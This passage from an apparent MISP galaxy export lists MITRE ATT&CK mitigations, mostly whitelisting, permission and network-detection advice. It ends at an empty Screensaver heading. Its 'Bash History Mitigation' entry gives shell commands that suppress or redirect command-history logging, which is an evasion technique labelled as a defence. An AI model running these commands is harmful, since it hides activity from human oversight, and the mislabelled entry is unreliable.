Since StartupItems are deprecated, preventing all users from writing to the <code>/Library/StartupItems</code> directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can't be leveraged for privilege escalation.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Startup Items Mitigation - T1165"*

Startup Items Mitigation - T1165 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Startup Items - T1165" with estimative-language:likelihood-probability="almost-certain"

Execution through API Mitigation - T1106

Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Execution through API Mitigation - T1106"*

Execution through API Mitigation - T1106 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"

Taint Shared Content Mitigation - T1080

Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).

Reduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.

Identify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Taint Shared Content Mitigation - T1080"*

Taint Shared Content Mitigation - T1080 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"

Redundant Access Mitigation - T1108

Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Redundant Access Mitigation - T1108"*

Redundant Access Mitigation - T1108 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"

Domain Fronting Mitigation - T1172

If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.

In order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Domain Fronting Mitigation - T1172"*

Domain Fronting Mitigation - T1172 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Domain Fronting - T1172" with estimative-language:likelihood-probability="almost-certain"

Spearphishing Attachment Mitigation - T1193

Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in Obfuscated Files or Information.

Because this technique involves user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Spearphishing Attachment Mitigation - T1193"*

Spearphishing Attachment Mitigation - T1193 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"

Audio Capture Mitigation - T1123

Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.

Identify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Audio Capture Mitigation - T1123"*

Audio Capture Mitigation - T1123 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

New Service Mitigation - T1050

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.

Identify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies

(Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="New Service Mitigation - T1050"*

New Service Mitigation - T1050 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"

CMSTP Mitigation - T1191

CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="CMSTP Mitigation - T1191"*

CMSTP Mitigation - T1191 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="CMSTP - T1191" with estimative-language:likelihood-probability="almost-certain"

Scripting Mitigation - T1064

Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.

Configure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Scripting Mitigation - T1064"*

Scripting Mitigation - T1064 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"

Plist Modification Mitigation - T1150

Prevent plist files from being modified by users by making them read-only.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Plist Modification Mitigation - T1150"*

Plist Modification Mitigation - T1150 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Plist Modification - T1150" with estimative-language:likelihood-probability="almost-certain"

Rundll32 Mitigation - T1085

Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Rundll32 Mitigation - T1085"*

Rundll32 Mitigation - T1085 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"

Credentials in Registry Mitigation - T1214

Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Credentials in Registry Mitigation - T1214"*

Credentials in Registry Mitigation - T1214 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"

Multi-hop Proxy Mitigation - T1188

Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like Domain Fronting.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Multi-hop Proxy Mitigation - T1188"*

Multi-hop Proxy Mitigation - T1188 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"

Fallback Channels Mitigation - T1008

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Fallback Channels Mitigation - T1008"*

Fallback Channels Mitigation - T1008 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Exploitation for Client Execution Mitigation - T1203

Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Exploitation for Client Execution Mitigation - T1203"*

Exploitation for Client Execution Mitigation - T1203 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

System Service Discovery Mitigation - T1007

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="System Service Discovery Mitigation - T1007"*

System Service Discovery Mitigation - T1007 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Service Discovery -

T1007" with estimative-language:likelihood-probability="almost-certain"

Indicator Removal on Host Mitigation - T1070

Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Indicator Removal on Host Mitigation - T1070"*

Indicator Removal on Host Mitigation - T1070 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"

Service Registry Permissions Weakness Mitigation - T1058

Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.

Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Service Registry Permissions Weakness Mitigation - T1058"*

Service Registry Permissions Weakness Mitigation - T1058 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Service Registry Permissions Weakness - T1058" with estimative-language:likelihood-probability="almost-certain"

Kerberoasting Mitigation - T1208

Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Kerberoasting Mitigation - T1208"*

Kerberoasting Mitigation - T1208 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"

Timestomp Mitigation - T1099

Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Timestomp Mitigation - T1099"*

Timestomp Mitigation - T1099 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"

System Network Configuration Discovery Mitigation - T1016

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system’s network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="System Network Configuration Discovery Mitigation - T1016"*

System Network Configuration Discovery Mitigation - T1016 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Execution through Module Load Mitigation - T1129

Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Execution through Module Load Mitigation - T1129"*

Execution through Module Load Mitigation - T1129 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Execution through Module Load - T1129" with estimative-language:likelihood-probability="almost-certain"

Shared Webroot Mitigation - T1051

Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.

Ensure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Shared Webroot Mitigation - T1051"*

Shared Webroot Mitigation - T1051 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"

Scheduled Task Mitigation - T1053

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)

Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl</code>. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)

Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)

Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation:

Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Scheduled Task Mitigation - T1053"*

Scheduled Task Mitigation - T1053 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"

Binary Padding Mitigation - T1009

Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Binary Padding Mitigation - T1009"*

Binary Padding Mitigation - T1009 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"

Network Sniffing Mitigation - T1040

Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.

Identify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Network Sniffing Mitigation - T1040"*

Network Sniffing Mitigation - T1040 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

Data Encrypted Mitigation - T1022

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Data Encrypted Mitigation - T1022"*

Data Encrypted Mitigation - T1022 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"

Standard Cryptographic Protocol Mitigation - T1032

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Standard Cryptographic Protocol Mitigation - T1032"*

Standard Cryptographic Protocol Mitigation - T1032 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Multilayer Encryption Mitigation - T1079

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Multilayer Encryption Mitigation - T1079"*

Multilayer Encryption Mitigation - T1079 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"

Masquerading Mitigation - T1036

When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\Windows\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.

Identify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Masquerading Mitigation - T1036"*

Masquerading Mitigation - T1036 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

File System Logical Offsets Mitigation - T1006

Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="File System Logical Offsets Mitigation - T1006"*

File System Logical Offsets Mitigation - T1006 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="File System Logical Offsets - T1006" with estimative-language:likelihood-probability="almost-certain"

Remote Services Mitigation - T1021

Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire Valid Accounts that can be used by existing services.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Remote Services Mitigation - T1021"*

Remote Services Mitigation - T1021 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"

File Deletion Mitigation - T1107

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="File Deletion Mitigation - T1107"*

File Deletion Mitigation - T1107 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"

Data Compressed Mitigation - T1002

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

If network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Data Compressed Mitigation - T1002"*

Data Compressed Mitigation - T1002 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"

AppleScript Mitigation - T1155

Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="AppleScript Mitigation - T1155"*

AppleScript Mitigation - T1155 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="AppleScript - T1155" with estimative-language:likelihood-probability="almost-certain"

Mshta Mitigation - T1170

Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer which have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Mshta Mitigation - T1170"*

Mshta Mitigation - T1170 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"

Authentication Package Mitigation - T1131

Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Authentication Package Mitigation - T1131"*

Authentication Package Mitigation - T1131 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Authentication Package - T1131" with estimative-language:likelihood-probability="almost-certain"

Signed Binary Proxy Execution Mitigation - T1218

Certain signed binaries that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Signed Binary Proxy Execution Mitigation - T1218"*

Signed Binary Proxy Execution Mitigation - T1218 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Signed Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Bash History Mitigation - T1139

There are multiple methods of preventing a user’s command history from being flushed to their .bash_history file, including use of the following commands: <code>set +o history</code> and <code>set -o history</code> to start logging again; <code>unset HISTFILE</code> being added to a user’s .bash_rc file; and <code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Bash History Mitigation - T1139"*

Bash History Mitigation - T1139 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Bash History - T1139" with estimative-language:likelihood-probability="almost-certain"

Port Monitors Mitigation - T1013

Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Port Monitors Mitigation - T1013"*

Port Monitors Mitigation - T1013 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Port Monitors - T1013" with estimative-language:likelihood-probability="almost-certain"

Image File Execution Options Injection Mitigation - T1183

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Image File Execution Options Injection Mitigation - T1183"*

Image File Execution Options Injection Mitigation - T1183 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Image File Execution Options Injection - T1183" with estimative-language:likelihood-probability="almost-certain"

User Execution Mitigation - T1204

Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.

If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious files in Obfuscated Files or Information.

If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="User Execution Mitigation - T1204"*

User Execution Mitigation - T1204 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"

LC_LOAD_DYLIB Addition Mitigation - T1161

Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn't included as part of an update, it should be investigated.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="LC_LOAD_DYLIB Addition Mitigation - T1161"*

LC_LOAD_DYLIB Addition Mitigation - T1161 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="LC_LOAD_DYLIB Addition - T1161" with estimative-language:likelihood-probability="almost-certain"

Man in the Browser Mitigation - T1185

Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and Bypass User Account Control opportunities can limit the exposure to this technique.

Close all browser sessions regularly and when they are no longer needed.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Man in the Browser Mitigation - T1185"*

Man in the Browser Mitigation - T1185 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Man in the Browser - T1185" with estimative-language:likelihood-probability="almost-certain"

Screensaver Mitigation - T1180

